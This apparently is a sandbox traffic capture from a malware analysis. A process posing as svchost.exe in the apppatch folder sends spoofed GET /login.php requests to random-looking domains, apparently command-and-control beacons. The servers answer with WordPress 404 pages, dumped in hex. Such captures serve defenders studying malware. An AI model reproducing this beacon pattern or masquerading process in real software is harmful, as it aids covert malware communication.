2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 65 2c 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d Data Ascii: e,.woocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49732	188.114.96.3	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:32 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Connection: Keep-Alive
2024-11-11 17:50:32 UTC	945	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HRVNe6t4Qu6vdEtL9iwI%2BQ1Q38bvr0S%2Bv7SeBZB9zTXz4KJzwfFHZND8kpGfk0doOnoX1lA1F5sAk9S79muVGFJPatHNbuURxpyCaJLrFeoZIKNHo3JcN462fT2Ntw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10200b0f551a28-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2123&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=1326614&cwnd=230&unsent_bytes=0&cid=7d3700a79224c917&ts=888&x=0"
2024-11-11 17:50:32 UTC	424	IN	Data Raw: 37 63 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e Data Ascii: 7cac<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 Data Ascii: <meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta property
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 Data Ascii: (e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.widt
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 Data Ascii: ypeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d 61 69 6e 2e Data Ascii: emoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/main.
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: cription{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-weigh
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 7b 63 6f 6c Data Ascii: it-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next{col
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 Data Ascii: uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-conte
2024-11-11 17:50:32 UTC	1369	IN	Data Raw: 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 20 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 2d 69 74 65 6d 20 61 2e 72 65 6d 6f 76 65 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 74 68 69 6e 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 69 6e 70 75 74 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 Data Ascii: oocommerce-js .woocommerce-mini-cart-item a.remove:focus-visible{outline-style:dotted;outline-color:inherit;outline-width:thin;border-color:transparent;}input:focus,input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="pas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49748	188.114.97.3	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:34 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lysyvan.com Connection: Keep-Alive
2024-11-11 17:50:36 UTC	1092	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://lysyvan.com/wp-json/>; rel="https://api.w.org/" server-timing: amp_sanitizer;dur="39.3",amp_style_sanitizer;dur="18.5",amp_tag_and_attribute_sanitizer;dur="16.7",amp_optimizer;dur="21.6" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BvAc3iPRlLdr3uhZ2%2B1cfZPRivLkQeAxlEmKxJWFQmmy7W987mmoH8zUQTxvPcbYa1OeumM058V%2FYP77tcjNj%2Bq1dE%2FDyp8%2FCdgu1fuOZGTpa4mW0LqTZYgfRHLLXw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e10201c79c5c470-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1080&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=881&delivery_rate=2592658&cwnd=251&unsent_bytes=0&cid=edb2ecceb2d1bc0a&ts=1388&x=0"
2024-11-11 17:50:36 UTC	277	IN	Data Raw: 37 63 31 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 61 74 61 2d 61 6d 70 2d 62 69 6e 64 2d 63 6c 61 73 73 3d 22 69 73 44 61 72 6b 20 3f 20 27 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 27 20 3a 20 27 6e 65 76 65 2d 6c 69 67 68 74 2d 74 68 65 6d 65 27 22 20 63 6c 61 73 73 3d 22 6e 65 76 65 2d 64 61 72 6b 2d 74 68 65 6d 65 22 20 61 6d 70 3d 22 22 20 64 61 74 61 2d 61 6d 70 2d 61 75 74 6f 2d 6c 69 67 68 74 62 6f 78 2d 64 69 73 61 62 6c 65 20 74 72 61 6e 73 66 6f 72 6d 65 64 3d 22 73 65 6c 66 3b 76 3d 31 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 6e 6f 2d 62 6f 69 6c 65 72 70 6c 61 74 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 62 Data Ascii: 7c1a<!DOCTYPE html><html lang="en-US" data-amp-bind-class="isDark ? 'neve-dark-theme' : 'neve-light-theme'" class="neve-dark-theme" amp="" data-amp-auto-lightbox-disable transformed="self;v=1" i-amphtml-layout="" i-amphtml-no-boilerplate="" i-amphtml-b
2024-11-11 17:50:36 UTC	1369	IN	Data Raw: 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 61 6d 70 70 72 6f 6a 65 63 74 2e 6f 72 67 22 3e 3c 73 74 79 6c 65 20 61 6d 70 2d 72 75 6e 74 69 6d 65 3d 22 22 20 69 2d 61 6d 70 68 74 6d 6c 2d 76 65 72 73 69 6f 6e 3d 22 30 31 32 34 31 30 31 36 31 38 30 31 30 30 30 22 3e 68 74 6d 6c 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 68 74 6d 6c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 65 7b 68 65 69 67 68 74 Data Ascii: harset="UTF-8"><meta name="viewport" content="width=device-width,minimum-scale=1"><link rel="preconnect" href="https://cdn.ampproject.org"><style amp-runtime="" i-amphtml-version="012410161801000">html{overflow-x:hidden!important}html.i-amphtml-fie{height
2024-11-11 17:50:36 UTC	1369	IN	Data Raw: 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 3e 62 6f 64 79 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 2d 65 6c 65 6d 65 6e 74 2c 23 69 2d 61 6d 70 68 74 6d 6c 2d 77 72 61 70 70 65 72 2b 62 6f 64 79 5b 69 2d 61 6d 70 68 74 6d 6c 2d 6c 69 67 68 74 62 6f 78 Data Ascii: olling:touch!important}#i-amphtml-wrapper>body{position:relative!important;border-top:1px solid transparent!important}#i-amphtml-wrapper+body{visibility:visible}#i-amphtml-wrapper+body .i-amphtml-lightbox-element,#i-amphtml-wrapper+body[i-amphtml-lightbox
2024-11-11 17:50:36 UTC	1369	IN	Data Raw: 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 5b 73 74 61 6e 64 61 6c 6f 6e 65 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 35 37 35 37 35 7d 61 6d 70 2d 73 74 6f 72 79 20 2e 61 6d 70 2d 61 63 74 69 76 65 3e 64 69 76 2c 61 6d 70 2d 73 74 6f 72 79 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 6f 61 64 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 61 6d 70 2d 73 74 6f 72 79 2d 70 61 67 65 3a 6e 6f 74 28 3a 66 69 72 73 74 2d 6f 66 Data Ascii: h:100%!important}amp-story[standalone]{background-color:#000!important;position:relative!important}amp-story-page{background-color:#757575}amp-story .amp-active>div,amp-story .i-amphtml-loader-background{display:none!important}amp-story-page:not(:first-of
2024-11-11 17:50:36 UTC	1369	IN	Data Raw: 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 69 6d 67 29 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 72 65 73 70 6f 6e 73 69 76 65 29 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 2c 5b 6c 61 79 6f 75 74 3d 69 6e 74 72 69 6e 73 69 63 5d 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 69 6e 74 72 69 6e 73 69 63 29 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 Data Ascii: mphtml-layout-responsive),[width][height][sizes]:not(img):not([layout]):not(.i-amphtml-layout-responsive){display:block;position:relative}.i-amphtml-layout-intrinsic,[layout=intrinsic][width][height]:not(.i-amphtml-layout-intrinsic){display:inline-block;p
2024-11-11 17:50:36 UTC	1369	IN	Data Raw: 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 62 6c 75 72 72 79 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 7d 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 73 69 7a 65 2d 64 65 66 69 6e 65 64 20 2e 69 2d 61 6d 70 68 74 6d 6c 2d 66 69 6c 6c 2d 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f Data Ascii: play:none!important}}.i-amphtml-blurry-placeholder,.i-amphtml-fill-content{display:block;height:0;max-height:100%;max-width:100%;min-height:100%;min-width:100%;width:0;margin:auto}.i-amphtml-layout-size-defined .i-amphtml-fill-content{position:absolute;to
2024-11-11 17:50:36 UTC	1369	IN	Data Raw: 6c 74 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 6c 61 79 6f 75 74 2d 63 6f 6e 74 61 69 6e 65 72 29 3e 2a 2c 5b 6c 61 79 6f 75 74 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 3d 63 6f 6e 74 61 69 6e 65 72 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 68 65 69 67 68 74 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 2c 5b 77 69 64 74 68 5d 5b 68 65 69 67 68 74 5d 5b 73 69 7a 65 73 5d 3a 6e 6f 74 28 5b 6c 61 79 6f 75 74 5d 29 3a 6e 6f 74 28 2e 69 2d 61 6d 70 68 74 6d 6c 2d 65 6c 65 6d 65 6e 74 29 3e 2a 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 6d 70 2d 69 6d 67 3a 6e 6f 74 28 2e 69 2d 61 6d Data Ascii: lt:not(.i-amphtml-layout-container)>,[layout]:not([layout=container]):not(.i-amphtml-element)>,[width][height][heights]:not([layout]):not(.i-amphtml-element)>,[width][height][sizes]:not([layout]):not(.i-amphtml-element)>{display:none}amp-img:not(.i-am
